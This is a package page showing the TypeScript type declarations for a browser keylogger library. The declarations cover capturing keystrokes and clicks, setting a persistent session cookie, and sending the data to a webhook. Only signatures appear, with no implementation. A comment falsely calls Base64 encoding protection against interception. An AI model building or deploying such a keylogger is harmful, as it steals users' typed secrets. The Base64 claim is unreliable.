UNPKG

@mihnea.dev/keylogger.js

Version:

A simple keylogger for the browser. Please use it responsibly!

74 lines (71 loc) 2.59 kB
/** * Interface representing a session's metadata. */ interface ISession { /** Unique identifier for the session. */ id: string; /** Timestamp when the session was created. */ created_at: Date; /** User agent string of the client browser. */ user_agent: string; /** Persistent session cookie. */ session_cookie: string; } interface IPayload { /** Type of event captured. */ type: "keypress" | "enter" | "click"; /** Value of the captured event. */ value: string; } /** * Keylogger class to capture keyboard events and send them to a specified webhook. */ declare class Keylogger { /** Webhook URL to send captured data. */ protected webhook: string; /** Current session information. */ protected session: ISession | null; /** Array to store captured keystrokes. */ protected keys: Array<string>; /** * Constructs a new instance of the Keylogger. * * @param { string } webhook - URL of the webhook to send captured data. * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`). */ constructor(webhook: string, logAll?: boolean | undefined); /** * Retrieves or creates a persistent "master-kw-cookie" cookie. * @returns The value of the "master-kw-session" cookie. */ protected getOrCreateMasterSession(): string; /** * Initializes the session with metadata. * @param { string } session_cookie - The persistent session cookie value. */ protected initializeSession(session_cookie: string): Promise<void>; /** * Creates a new session object with metadata. * @param { string } session_cookie - The persistent session cookie value. * @returns { Promise<ISession> } A Promise resolving to the session object. */ protected createSession(session_cookie: string): Promise<ISession>; /** * Sends captured data to the webhook along with the session information. * NOTE: Data is encoded in Base64 to prevent interception. * * @param payload - The data payload to send. */ protected sendToWebhook(payload: IPayload): Promise<void>; /** * Logs all keypress events and sends each key to the webhook. */ protected logAll(): void; /** * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook. * * TODO: Also logs on "mouse click" & Tab click. */ protected logOnEvent(): void; } export { type IPayload, type ISession, Keylogger as default };